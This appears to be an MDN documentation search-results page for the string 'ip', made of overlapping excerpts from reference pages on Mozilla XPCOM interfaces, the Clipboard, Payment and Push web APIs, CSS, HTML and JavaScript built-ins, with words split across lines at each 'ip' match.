ipt returns the source code of scr
ipt. if scr
ipt is a function, it calls js_decompilefunction. otherwise, it returns the original source code of the scr
ipt. if the scr
ipt is not cached, it tries to load the source from file, and returns nullptr if an error happened while loading. ...
...andle<jsscr
ipt*> scr
ipt or function to decompile. descr
iption js_decompilescr
ipt returns the source code of scr
ipt. if scr
ipt is a function, it calls js_decompilefunction. otherwise, it returns the original source code of the scr
ipt. if the scr
ipt is not cached, it tries to load the source from file, and returns nullptr if an error happened while loading. if successful, js_decompilescr
ipt returns a string containing the source code of the scr
ipt. otherwise, it returns a string containing "[no source]". from spidermonkey 17, this does not actually decompile the scr
ipt, but returns the original source code (bug 761723). ...
...oad the source from file, and returns nullptr if an error happened while loading. if successful, js_decompilescr
ipt returns a string containing the source code of the scr
ipt. otherwise, it returns a string containing "[no source]". from spidermonkey 17, this does not actually decompile the scr
ipt, but returns the original source code (bug 761723). ...
...And 3 more matches
nsIINIParserWriter
nsiin
iparserwriter xpcom/ds/nsiin
iparser.idlscr
iptable allows writing to an ini-format configuration file. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) this interface provides methods that allow writing to ini-format configuration files. ini files contain zero or more sections, denoted by a name in square brackets, followed by zero or more lines of text with a property name on the left, then an equals sign ("="), then the value of the property. ...
...rts last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) this interface provides methods that allow writing to ini-format configuration files. ini files contain zero or more sections, denoted by a name in square brackets, followed by zero or more lines of text with a property name on the left, then an equals sign ("="), then the value of the property. ...
... 13.0 / thunderbird 13.0 / seamonkey 2.10) this interface provides methods that allow writing to ini-format configuration files. ini files contain zero or more sections, denoted by a name in square brackets, followed by zero or more lines of text with a property name on the left, then an equals sign ("="), then the value of the property. ...
...And 3 more matches
nsIProxyInfo
this interface identifies a proxy server. netwerk/base/public/ns
iproxyinfo.idlscr
iptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports attributes attribute type descr
iption failoverproxy ns
iproxyinfo this attribute specifies the proxy to failover to when this proxy fails. failovertimeout unsigned long this attribute specifies the failover timeout in seconds for this proxy. if a ns
iproxyinfo is reported as failed via ns
iprotocolproxyservice.getfailoverforproxy(), then the failed proxy will not be used again for this many seconds. read only. flags unsigned long this attribut...
...at modify the proxy type. the value of this attribute is the bit-wise combination of the proxy flags defined below. any undefined bits are reserved for future use. read only. host autf8string this attribute specifies the hostname of the proxy server. read only. note: prior to gecko 1.8 host was available by the host method. next ns
iproxyinfo proxy info objects may be chained if several proxies could be treated equivalently. this is used to support proxy failover. read only. obsolete since gecko 1.8 port long this attribute specifies the port number of the proxy server. read only. note: prior to gecko 1.8 port was available by the port method. type acstrin...
... this attribute specifies the type of the proxy server as a case insensitive ascii string. some special values for this attribute include (but are not limited to) the following: "http" - http proxy (or ssl connect for https) "socks" - socks v5 proxy "socks4" - socks v4 proxy "direct" - no proxy "unknown" - unknown proxy (see ns
iprotocolproxyservice.resolve()) a future version of this interface may define additional types. read only. note: prior to gecko 1.8 type was available by the type method. constants the following "proxy flags" may be bit-wise combined to construct the flags attribute defined on this interface. all unspecified bits are reserved for future use. c...
...And 3 more matches
Using nsIPasswordManager
i just had to use the password manager for a project i was working on, so i thought i'd braindump my notes to the wiki while i was at it. this code is tested, but barely, and i am by no means an expert on this area. review and cleanup would be appreciated. zachl
ipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x. for similar functionality in toolkit 1.9, see using nsiloginmanager. ...
...ed. zachl
ipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x. for similar functionality in toolkit 1.9, see using nsiloginmanager. working with password manager extensions often need to securely store passwords to external sites, web applications, and so on. to do so securely, they can use ns
ipasswordmanager, which provides for secure storage of sensitive password information. ...
... toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x. for similar functionality in toolkit 1.9, see using nsiloginmanager. working with password manager extensions often need to securely store passwords to external sites, web applications, and so on. to do so securely, they can use ns
ipasswordmanager, which provides for secure storage of sensitive password information. ...
...And 3 more matches
BluetoothRemoteGATTDescriptor - Web APIs
the bluetoothremotegattdescr
iptor interface of the web bluetooth api provides a gatt descr
iptor, which provides further information about a characteristic's value. interface interface bluetoothremotegattdescr
iptor { readonly attribute bluetoothgattcharacteristic characteristic; readonly attribute uuid uuid; readonly attribute arraybuffer? ...
...tt descr
iptor, which provides further information about a characteristic's value. interface interface bluetoothremotegattdescr
iptor { readonly attribute bluetoothgattcharacteristic characteristic; readonly attribute uuid uuid; readonly attribute arraybuffer? ...
...face interface bluetoothremotegattdescr
iptor { readonly attribute bluetoothgattcharacteristic characteristic; readonly attribute uuid uuid; readonly attribute arraybuffer? value; promise<arraybuffer> readvalue(); promise<void> writevalue(buffersource value); }; properties bluetoothremotegattdescr
iptor.characteristicread only returns the bluetoothremotegattcharacteristic this descr
iptor belongs to. bluetoothremotegattdescr
iptor.uuidread only returns the uuid of the characteristic descr
iptor, for example '00002902-0000-1000-8000-00805f9b34fb' for theclient characteristic configuration descr
iptor. bluetoothremotegattdescr
iptor.valueread only returns the currently cached descr
iptor value. this value gets updated when the value of the descr
iptor is read. methods blueto...
...And 3 more matches
Clipboard.read() - Web APIs
the read() method of the cl
ipboard interface requests a copy of the cl
ipboard's contents, delivering the data to the returned promise when the promise is resolved. unlike readtext(), the read() method can return arbitrary data, such as images. this method can also return text. to read from the cl
ipboard, you must first have the "cl
ipboard-read" permission. note: the asynchronous cl
ipboard and permissions apis are still in the process of being integrated into most browsers, so they often deviate from the official rules for permissions and the like. be sure to review the compatibility table before using these methods. syntax var promise = navigator.cl
ipboard.read(); parameters none. return value a promise that resolves with a datatransfer object containing the cl
ipboard's contents. ...
...rated into most browsers, so they often deviate from the official rules for permissions and the like. be sure to review the compatibility table before using these methods. syntax var promise = navigator.cl
ipboard.read(); parameters none. return value a promise that resolves with a datatransfer object containing the cl
ipboard's contents. the promise is rejected if permission to access the cl
ipboard is not granted. ...
...efore using these methods. syntax var promise = navigator.cl
ipboard.read(); parameters none. return value a promise that resolves with a datatransfer object containing the cl
ipboard's contents. the promise is rejected if permission to access the cl
ipboard is not granted. example after using navigator.permissions.query() to find out if we have (or if the user will be prompted to allow) "cl
ipboard-read" access, this example fetches the data currently on the cl
ipboard. if it's not a png image, an error message is presented. otherwise, an image element referred to using the variable imgelem has its source replaced with the cl
ipboard's contents. ...
...And 3 more matches
Clipboard.write() - Web APIs
the cl
ipboard method write() writes arbitrary data, such as images, to the cl
ipboard. this can be used to implement cut and copy functionality. the "cl
ipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab. note: browser support for the asynchronous cl
ipboard apis is still in the process of being implemented. be sure to check the compatibility table as well as cl
ipboard availability in cl
ipboard for more information. syntax var promise = navigator.cl
ipboard.write(data) parameters data an array of cl
ipboarditem objects containing data to be written to the cl
ipboard. return value a promise which is resolved when the data has been written to the cl
ipboard. ...
...ted. be sure to check the compatibility table as well as cl
ipboard availability in cl
ipboard for more information. syntax var promise = navigator.cl
ipboard.write(data) parameters data an array of cl
ipboarditem objects containing data to be written to the cl
ipboard. return value a promise which is resolved when the data has been written to the cl
ipboard. the promise is rejected if the cl
ipboard is unable to complete the cl
ipboard access. example this example function replaces the current contents of the cl
ipboard with a specified string. ...
... parameters data an array of cl
ipboarditem objects containing data to be written to the cl
ipboard. return value a promise which is resolved when the data has been written to the cl
ipboard. the promise is rejected if the cl
ipboard is unable to complete the cl
ipboard access. example this example function replaces the current contents of the cl
ipboard with a specified string. function setcl
ipboard(text) { let data = [new cl
ipboarditem({ "text/plain": text })]; navigator.cl
ipboard.write(data).then(function() { /* success */ }, function() { /* failure */ }); } the code begins by creating a new cl
ipboarditem object into which the text will be placed for sending to the cl
ipboard. ...
...And 3 more matches
ClipboardItem.getType() - Web APIs
the gettype() method of the cl
ipboarditem interface returns a promise that resolves with a blob of the requested mime type or an error if the mime type is not found. syntax var blob = cl
ipboarditem.gettype(type); parameters type a valid mime type. return value a promise that resolves with a blob object. exceptions domexception the type does not match a known mime type. typeerror no parameter is specified or the type is not that of the cl
ipboarditem. examples in the following example, we're returning all items on the cl
ipboard via the cl
ipboard.read() method. then utilizing the cl
ipboarditem.types property to set the gettype() argument and return the corresponding blob object. ...
... domexception the type does not match a known mime type. typeerror no parameter is specified or the type is not that of the cl
ipboarditem. examples in the following example, we're returning all items on the cl
ipboard via the cl
ipboard.read() method. then utilizing the cl
ipboarditem.types property to set the gettype() argument and return the corresponding blob object. ...
...h a known mime type. typeerror no parameter is specified or the type is not that of the cl
ipboarditem. examples in the following example, we're returning all items on the cl
ipboard via the cl
ipboard.read() method. then utilizing the cl
ipboarditem.types property to set the gettype() argument and return the corresponding blob object. ...
...And 3 more matches
ClipboardItem.types - Web APIs
the read-only types property of the cl
ipboarditem interface returns an array of mime types available within the cl
ipboarditem syntax var types = cl
ipboarditem.types; value an array of available mime types. examples in the below example, we're returning all items on the cl
ipboard via the cl
ipboard.read() method. then checking the types property for available types before utilizing the cl
ipboarditem.gettype() method to return the blob object. if no cl
ipboards contents is found for the specified type, an error is returned. ...
...arditem.types; value an array of available mime types. examples in the below example, we're returning all items on the cl
ipboard via the cl
ipboard.read() method. then checking the types property for available types before utilizing the cl
ipboarditem.gettype() method to return the blob object. if no cl
ipboards contents is found for the specified type, an error is returned. ...
...able mime types. examples in the below example, we're returning all items on the cl
ipboard via the cl
ipboard.read() method. then checking the types property for available types before utilizing the cl
ipboarditem.gettype() method to return the blob object. if no cl
ipboards contents is found for the specified type, an error is returned. ...
...And 3 more matches
Dragging and Dropping Multiple Items - Web APIs
caution: all of the methods and properties with a moz prefix (such as mozsetdataat() are gecko specific interfaces. these interfaces will only work with gecko based browsers. mozilla supports the ability to drag mult
iple items using some additional non-standard methods. these are methods that mirror the types property as well as the getdata(), setdata() and cleardata() methods, however, they take an additional argument that specifies the index of the item to retrieve, modify or remove. the drag processing described in this document use the datatransfer interface. this processing does not use the datatransferitem interface nor the datatransferitemlist interface. setting and getting with indices the mozsetdataat() method allows you to add mult
iple items during a dragstart event. this ...
...", 1); dt.mozcleardataat("text/plain", 1); you've removed the second item clearing all types, then the old third item becomes new second item, and its index decreases. // [item1] data=url1, index=0 // [item2] data=url3, index=1 fortunately, you don't normally need to clear items often; it's more common to just add the items only when you know they are needed. common cases where dragging mult
iple items is used is when dragging mult
iple files or bookmarks. in this case, add the appropriate formats for each item. although not required, you should always add the same formats for each item. the ensures that receiving drop targets can expect consistent data. to check if mult
iple files are being dragged, check the mozitemcount property. it will be set to the number of items being dragged. if...
...ample, files are dragged using the application/x-moz-file type stored as nsifile objects. as the setdata() method only supports strings, it cannot be used to specify files for dragging in this manner. instead the mozsetdataat() method must be used. ...
...And 3 more matches
PaymentRequest: shippingoptionchange event - Web APIs
for payment requests that request sh
ipping information, and for which sh
ipping options are offered, the sh
ippingoptionchange event is sent to the paymentrequest whenever the user chooses a sh
ipping option from the list of available options. the string identifying the currently-selected sh
ipping option can be found in the sh
ippingoption property. bubbles no cancelable no interface paymentrequestupdateevent event handler property onsh
ippingoptionchange examples this code sn
ippet sets up a handler for the sh
ippingoptionchange event. the code recalculates the total charge for the payment based on the selected sh
ipping option. ...
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onsh
ippingoptionchange examples this code sn
ippet sets up a handler for the sh
ippingoptionchange event. the code recalculates the total charge for the payment based on the selected sh
ipping option. for example, if there are three options (such as "free ground sh
ipping", "2-day air", and "next day"), each time the user chooses one of those options, this event handler is called to recalculate the total based on the changed sh
ipping option. ...
...
ippingoptionchange event. the code recalculates the total charge for the payment based on the selected sh
ipping option. for example, if there are three options (such as "free ground sh
ipping", "2-day air", and "next day"), each time the user chooses one of those options, this event handler is called to recalculate the total based on the changed sh
ipping option. paymentrequest.addeventlistener("sh
ippingoptionchange", event => { const value = calculatenewtotal(paymentrequest.sh
ippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }, false); after caling a custom function, calculatenewtotal(), to compute the updated total based on the newly-selected sh
ipping option as specified by the sh
ippingoption. the revised total i...
...And 3 more matches
PushSubscription.getKey() - Web APIs
the getkey() method of the pushsubscr
iption interface returns an arraybuffer representing a client public key, which can then be sent to a server and used in encrypting push message data. syntax var key = subscr
iption.getkey(name); parameters name a domstring representing the encryption method used to generate a client key. the value can be: p256dh: an ell
iptic curve diffie-hellman public key on the p-256 curve (that is, the nist secp256r1 ell
iptic curve). the resulting key is an uncompressed point in ansi x9.62 format. auth: an authentication secret, as described in message encryption for web push. returns an arraybuffer. ...
...yption method used to generate a client key. the value can be: p256dh: an ell
iptic curve diffie-hellman public key on the p-256 curve (that is, the nist secp256r1 ell
iptic curve). the resulting key is an uncompressed point in ansi x9.62 format. auth: an authentication secret, as described in message encryption for web push. returns an arraybuffer. example reg.pushmanager.getsubscr
iption() .then(function(subscr
iption) { // enable any ui which subscribes / unsubscribes from // push messages. ...
...cp256r1 ell
iptic curve). the resulting key is an uncompressed point in ansi x9.62 format. auth: an authentication secret, as described in message encryption for web push. returns an arraybuffer. example reg.pushmanager.getsubscr
iption() .then(function(subscr
iption) { // enable any ui which subscribes / unsubscribes from // push messages. ...
...And 3 more matches
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
size a glint specifying the number of components per vertex attribute. must be 1, 2, 3, or 4. type a glenum specifying the data type of each component in the array. must be one of: gl.byte, gl.unsigned_byte, gl.short, gl.unsigned_short, gl.int, or gl.unsigned_int. stride a glsizei specifying the offset in bytes between the beginning of consecutive vertex attributes. ...
...4. type a glenum specifying the data type of each component in the array. must be one of: gl.byte, gl.unsigned_byte, gl.short, gl.unsigned_short, gl.int, or gl.unsigned_int. stride a glsizei specifying the offset in bytes between the beginning of consecutive vertex attributes. offset a glintptr specifying an offset in bytes of the first component in the vertex attribute array. must be a mult
iple of type. return value none. descr
iption very similar to webglrenderingcontext.vertexattribpointer(). the main difference is that while values specified by vertexattribpointer are always interpreted as floating-point values in the shader (even if they were originally specified as integers in the buffer), this method allows specifying values which are interpreted as integers in the shader. ...
... interpreted as integers in the shader. examples linear blend skinning //describe the layout of the buffer: //1. position gl.vertexattribpointer(0, 3, gl.float, false, 20, 0); gl.enablevertexattribarray(0); //2. bone weights, normalized to [0, 1] gl.vertexattribpointer(1, 4, gl.unsigned_byte, true, 20, 12); gl.enablevertexattribarray(1); //3. ...
...And 3 more matches
XRInputSource.gripSpace - Web APIs
the read-only xrinputsource property gr
ipspace returns an xrspace whose native origin tracks the pose used to render virtual objects so they appear to be held in (or part of) the user's hand. for example, if a user were holding a virtual straight rod, the native origin of this xrspace would be located at the approximate center of mass of the user's fist. syntax var xrspace = xrinputsource.gr
ipspace; value an xrspace object representing the position and orientation of the input device in virtual space, suitable for rendering an image of the device into the scene. gr
ipspace is null if the input source is inherently untrackable. for example, only inputs whose targetraymode is tracked-pointer provide a gr
ipspace. imagine that the controller is shaped like a straight rod, held in ...
...esenting the position and orientation of the input device in virtual space, suitable for rendering an image of the device into the scene. gr
ipspace is null if the input source is inherently untrackable. for example, only inputs whose targetraymode is tracked-pointer provide a gr
ipspace. imagine that the controller is shaped like a straight rod, held in the user's fist. the native origin of the gr
ip space is located at the centroid--the center of mass--of the user's fist, tracking the position of the user's hand. the coordinate system for the left hand's gr
ip space. the coordinate system for the right hand's gr
ip space. as shown in the diagram above, the coordinate system is oriented as follows: the x-axis is perpendicular to the palm of the user's hand, with the directio...
...hown in the diagram above, the coordinate system is oriented as follows: the x-axis is perpendicular to the palm of the user's hand, with the direction extending outward from the back of the hand being +x if the controller is in the user's right hand or -x if the controller is in the left hand. the z-axis along the length of the rod, parallel to the user's palm and along the length of their gr
ip. ...
...And 3 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
run an animation again the css animations specification doesn't offer a way to run an animation again. ...
... padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } @keyframes colorchange { 0% { background: yellow } 100% { background: blue } } .box { width: 100px; height: 100px; border: 1px solid black; } .changing { animation: colorchange 2s; } there are two classes here. ...
...the meat of this technique is in the play() function, which is called when the user clicks on the "run" button. ...
...And 3 more matches
background-clip - CSS: Cascading Style Sheets
the background-cl
ip css property sets whether an element's background extends underneath its border box, padding box, or content box. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the element has no background-image or background-color, this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference. note: because the root element has a different background painting area, the background-cl
ip property has no effect when specified on it. see "the backgrounds of special elements." ...
...m that element's first html <body> child element. the used values of that <body> element's background properties are their initial values, and the propagated values are treated as if they were specified on the root element. it is recommended that authors of html documents specify the canvas background for the <body> element rather than the html element. syntax /* keyword values */ background-cl
ip: border-box; background-cl
ip: padding-box; background-cl
ip: content-box; background-cl
ip: text; /* global values */ background-cl
ip: inherit; background-cl
ip: initial; background-cl
ip: unset; values border-box the background extends to the outside edge of the border (but underneath the border in z-ordering). padding-box the background extends to the outside edge of the padding. no backgr...
... formal definition initial valueborder-boxapplies toall elements. ...
...And 3 more matches
<noscript> - HTML: Hypertext Markup Language
otherwise: flow content or phrasing content. tag omission none, both the starting and ending tag are mandatory. ...
... otherwise: flow content or phrasing content. tag omission none, both the starting and ending tag are mandatory. ...
... type on the page is unsupported or if scr
ipting is currently turned off in the browser. content categories metadata content, flow content, phrasing content. permitted content when scr
ipting is disabled and when it is a descendant of the <head> element: in any order, zero or more <link> elements, zero or more <style> elements, and zero or more <meta> elements. when scr
ipting is disabled and when it isn't a descendant of the <head> element: any transparent content, but no <noscr
ipt> element must be among its descendants. otherwise: flow content or phrasing content. tag omission none, both the starting and ending tag are mandatory. ...
...And 3 more matches
Concurrency model and the event loop - JavaScript
visual representation stack function calls form a stack of frames. function foo(b) { let a = 10 return a + b + 11 } function bar(x) { let y = 3 return foo(x * y) } console.log(bar(7)) //returns 42 when calling bar, a first frame is created containing bar's arguments and local variables. ...
... visual representation stack function calls form a stack of frames. function foo(b) { let a = 10 return a + b + 11 } function bar(x) { let y = 3 return foo(x * y) } console.log(bar(7)) //returns 42 when calling bar, a first frame is created containing bar's arguments and local variables. ...
...en bar calls foo, a second frame is created and pushed on top of the first one containing foo's arguments and local variables. when foo returns, the top frame element is popped out of the stack (leaving only bar's call frame). when bar returns, the stack is empty. heap objects are allocated in a heap which is just a name to denote a large (mostly unstructured) region of memory. queue a javascr
ipt runtime uses a message queue, which is a list of messages to be processed. each message has an associated function which gets called in order to handle the message. at some point during the event loop, the runtime starts handling the messages on the queue, starting with the oldest one. to do so, the message is removed from the queue and its corresponding function is called with the message as a...
...And 3 more matches
Classes - JavaScript
definitions the body of a class is the part that is in curly brackets {}. this is where you define class members, such as methods or constructor. strict mode the body of a class is executed in strict mode, i.e., code written here is subject to stricter syntax for increased performance, some otherwise silent errors will be thrown, and certain keywords are reserved for future versions of ecmascr
ipt. constructor the constructor method is a special method for creating and initializing an object created with a class. there can only be one special method with the name "constructor" in a class. a syntaxerror will be thrown if the class contains more than one occurrence of a constructor method. a constructor can use the super keyword to call the constructor of the super class. prototype meth...
...tructor(height, width) { this.height = height; this.width = width; } } static (class-side) data properties and prototype data properties must be defined outside of the classbody declaration: rectangle.staticwidth = 20; rectangle.prototype.prototypewidth = 25; field declarations public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascr
ipt standards committee. support in browsers is limited, but the feature can be used through a build step with systems like babel. public field declarations with the javascr
ipt field declaration syntax, the above example can be written as: class rectangle { height = 0; width; constructor(height, width) { this.height = height; this.width = width; } } by declaring fields up-front...
...heritance. class cat { constructor(name) { this.name = name; } speak() { console.log(`${this.name} makes a noise.`); } } class lion extends cat { speak() { super.speak(); console.log(`${this.name} roars.`); } } let l = new lion('fuzzy'); l.speak(); // fuzzy makes a noise. // fuzzy roars. mix-ins abstract subclasses or mix-ins are templates for classes. ...
...And 3 more matches
Function.prototype.apply() - JavaScript
e seen by the method: if the method is a function in non-strict mode code, null and undefined will be replaced with the global object, and primitive values will be boxed. this argument is required. argsarray optional an array-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be provided to the function. ...
...-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be provided to the function. starting with ecmascr
ipt 5 these arguments can be a generic array-like object instead of an array. see below for browser compatibility information. return value the result of calling the function with the specified this value and arguments. descr
iption note: while the syntax of this function is almost identical to that of call(), the fundamental difference is that call() accepts an argument list, while apply() accepts a single array of arguments. note: when the first argument is undefined or null a similar outcome can be achieved using the array spread syntax. you can assign a different this object when calling an existing function. ...
...se arguments for the argsarray parameter. arguments is a local variable of a function. it can be used for all unspecified arguments of the called object. thus, you do not have to know the arguments of the called object when you use the apply method. you can use arguments to pass all the arguments to the called object. the called object is then responsible for handling the arguments. since ecmascr
ipt 5th edition, you can also use any kind of object which is array-like. in practice, this means it's going to have a length property, and integer ("index") properties in the range (0..length - 1). for example, you could use a nodelist, or a custom object like { 'length': 2, '0': 'eat', '1': 'bananas' }. note: many older browsers--including chrome <17 and internet explorer <9--don't accept array-...
...And 3 more matches
JSON.parse() - JavaScript
the json.parse() method parses a json string, constructing the javascr
ipt value or object described by the string. an optional reviver function can be provided to perform a transformation on the resulting object before it is returned. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax json.parse(text[, reviver]) parameters text the string to parse as json. see the json object for a descr
iption of json syntax. reviver optional if a function, this prescribes how the value originally produced by parsing is transformed, before being returned. return value the object, array, string, number, boolean, or n...
... var j; function walk(holder, key) { // the walk method is used to recursively walk the resulting structure so // that modifications can be made. var k; var v; var value = holder[key]; if (value && typeof value === "object") { for (k in value) { ...
... value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } // parsing happens in four stages. in the first stage, we replace certain // unicode characters with escape sequences. javascr
ipt handles many characters // incorrectly, either silently deleting them, or treating them as line endings. text = string(text); rx_dangerous.lastindex = 0; if (rx_dangerous.test(text)) { text = text.replace(rx_dangerous, function(a) { return ( "\\u" + ("0000" + a.charcodeat(0).tostring(16)).slice(-...
...And 3 more matches
Math.imul() - JavaScript
the math.imul() function returns the result of the c-like 32-bit mult
iplication of the two parameters. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var product = math.imul(a, b); parameters a first number. b second number. return value the result of the c-like 32-bit mult
iplication of the given arguments. descr
iption math.imul() allows for 32-bit integer mult
iplication with c-like semantics. this feature is useful for projects like emscr
ipten. because imul() is a static method of math, you always use it as math.imul(), rather than as a method of a math object you created (math is not a const...
...the reason imul exists is because it is faster in only one (so far) circumstance: asmjs. ...
... feature is useful for projects like emscr
ipten. because imul() is a static method of math, you always use it as math.imul(), rather than as a method of a math object you created (math is not a constructor). if you use normal javascr
ipt floating point numbers in imul, you will experience a degrade in performance. this is because of the costly conversion from a floating point to an integer for mult
iplication, and then converting the mult
iplied integer back into a floating point. the reason imul exists is because it is faster in only one (so far) circumstance: asmjs. asmjs allows for jist-optimizers to more easily implement internal integers in javascr
ipt. ...
...And 3 more matches
Math - JavaScript
math is a built-in object that has properties and methods for mathematical constants and functions. it's not a function object. math works with the number type. it doesn't work with bigint. descr
iption unlike many other global objects, math is not a constructor. all properties and methods of math are static. you refer to the constant pi as math.pi and you call the sine function as math.sin(x), where x is the method's argument. constants are defined with the full precision of real numbers in javascr
ipt. note: many math functions have a precision that's implementation-dependent. ...
...rties and methods of math are static. you refer to the constant pi as math.pi and you call the sine function as math.sin(x), where x is the method's argument. constants are defined with the full precision of real numbers in javascr
ipt. note: many math functions have a precision that's implementation-dependent. this means that different browsers can give a different result. even the same javascr
ipt engine on a different os or architecture can give different results! static properties math.e euler's constant and the base of natural logarithms; approximately 2.718. math.ln2 natural logarithm of 2; approximately 0.693. math.ln10 natural logarithm of 10; approximately 2.303. math.log2e base-2 logarithm of e; approximately 1.443. math.log10e base-10 logarithm of e; approximately 0...
...8..., the base of the natural logarithm). math.expm1(x) returns subtracting 1 from exp(x). math.floor(x) returns the largest integer less than or equal to x. math.fround(x) returns the nearest single precision float representation of x. math.hypot([x[, y[, ...]]]) returns the square root of the sum of squares of its arguments. math.imul(x, y) returns the result of the 32-bit integer mult
iplication of x and y. math.log(x) returns the natural logarithm (loge; also, ln) of x. math.log1p(x) returns the natural logarithm (loge; also ln) of 1 + x for the number x. math.log10(x) returns the base-10 logarithm of x. math.log2(x) returns the base-2 logarithm of x. math.max([x[, y[, ...]]]) returns the largest of zero or more numbers. math.min([x[, y[, ...]]]) returns the smallest...
...And 3 more matches
Object.create() - JavaScript
s and send us a pull request. syntax object.create(proto, [propertiesobject]) parameters proto the object which should be the prototype of the newly-created object. propertiesobject optional if specified and not undefined, an object whose enumerable own properties (that is, those properties defined upon itself and not enumerable properties along its prototype chain) specify property descr
iptors to be added to the newly-created object, with the corresponding property names. these properties correspond to the second argument of object.defineproperties(). return value a new object with the specified prototype object and properties. exceptions the proto parameter has to be either null or an object excluding primitive wrapper objects. if proto is neither of these a typeerror i...
...way now look very much like ordinary objects. polyfill this polyfill covers the main use case, which is creating a new object for which the prototype has been chosen but doesn't take the second argument into account. note that while the setting of null as [[prototype]] is supported in the real es5 object.create, this polyfill cannot support it due to a limitation inherent in versions of ecmascr
ipt lower than 5. if (typeof object.create !== "function") { object.create = function (proto, propertiesobject) { if (typeof proto !== 'object' && typeof proto !== 'function') { throw new typeerror('object prototype may only be an object: ' + proto); } else if (proto === null) { throw new error("this browser's implementation of object.create is a shim an...
...or("this browser's implementation of object.create is a shim and doesn't support a second argument."); } function f() {} f.prototype = proto; return new f(); }; } examples classical inheritance with object.create() below is an example of how to use object.create() to achieve classical inheritance. this is for a single inheritance, which is all that javascr
ipt supports. // shape - superclass function shape() { this.x = 0; this.y = 0; } // superclass method shape.prototype.move = function(x, y) { this.x += x; this.y += y; console.info('shape moved.'); }; // rectangle - subclass function rectangle() { shape.call(this); // call super constructor. } // subclass extends superclass rectangle.prototype = object.create(shape.prototype); //if ...
...And 3 more matches
Object.prototype.__proto__ - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascr
ipt engines optimize property accesses, a very slow operation, in every browser and javascr
ipt engine. the effects on the performance of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in obj.__proto__ = ... statements, but may extend to any code that has access to any object whose [[prototype]] has been altered. if you care about performance you should avoid setting the [[prototype]] of an object. instead, create a new object with the desired [[prototype]] using object.create(). ...
... code that has access to any object whose [[prototype]] has been altered. if you care about performance you should avoid setting the [[prototype]] of an object. instead, create a new object with the desired [[prototype]] using object.create(). warning: while object.prototype.__proto__ is supported today in most browsers, its existence and exact behavior has only been standardized in the ecmascr
ipt 2015 specification as a legacy feature to ensure compatibility for web browsers. for better support, use object.getprototypeof() instead. the __proto__ property of object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[prototype]] (either an object or null) of the object through which it is accessed. the use of __proto__ is controversia...
...or web browsers. for better support, use object.getprototypeof() instead. the __proto__ property of object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[prototype]] (either an object or null) of the object through which it is accessed. the use of __proto__ is controversial and discouraged. it was never originally included in the ecmascr
ipt language spec, but modern browsers implemented it anyway. only recently was the __proto__ property standardized by the ecmascr
ipt 2015 specification for compatibility with web browsers, so it will be supported into the future. it is deprecated in favor of object.getprototypeof/reflect.getprototypeof and object.setprototypeof/reflect.setprototypeof (though still, setting the [[prototype]] of an o...
...And 3 more matches
String.prototype.split() - JavaScript
g where each split should occur. the separator can be a simple string or it can be a regular expression. the simplest case is when separator is just a single character; this is used to split a delimited string. for example, a string containing tab separated values (tsv) could be parsed by passing a tab character as the separator, like this: mystring.split("\t"). if separator contains mult
iple characters, that entire character sequence must be found in order to split. if separator is omitted or does not occur in str, the returned array contains one element consisting of the entire string. if separator appears at the beginning (or end) of the string, it still has the effect of splitting. the result is an empty (i.e. zero length) string, which appears at the first (or last) positi...
...ay. if separator is an empty string (""), str is converted to an array of each of its utf-16 "characters". warning: when the empty string ("") is used as a separator, the string is not split by user-perceived characters (grapheme clusters) or unicode characters (codepoints), but by utf-16 codeunits. this destroys surrogate pairs. see "how do you get a string to a character array in javascr
ipt?" on stackoverflow. limit optional a non-negative integer limiting the number of pieces. if provided, splits the string at each occurrence of the specified separator, but stops when limit entries have been placed in the array. any leftover text is not included in the array at all. the array may contain fewer entries than limit if the end of the string is reached before the limit is ...
... been placed in the array. any leftover text is not included in the array at all. the array may contain fewer entries than limit if the end of the string is reached before the limit is reached. if limit is 1, str.split(separator)[0] is returned if limit is 0, [] is returned. return value an array of strings, split at each point where the separator occurs in the given string. descr
iption when found, separator is removed from the string, and the substrings are returned in an array. if separator is a regular expression with capturing parentheses, then each time separator matches, the results (including any undefined results) of the capturing parentheses are spliced into the output array. if the separator is an array, then that array is coerced to a string and used as a separ...
...And 3 more matches
TypedArray - JavaScript
ment types, listed below. on the following pages you will find common properties and methods that can be used with any typed array containing elements of any type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. descr
iption ecmascr
ipt 2015 defines a typedarray constructor that serves as the [[prototype]] of all typedarray constructors. this constructor is not directly exposed: there is no global %typedarray% or typedarray property. it is only directly accessible through object.getprototypeof(int8array) and similar. all typedarrays constructors inherit common properties from the %typedarray% constructor funct...
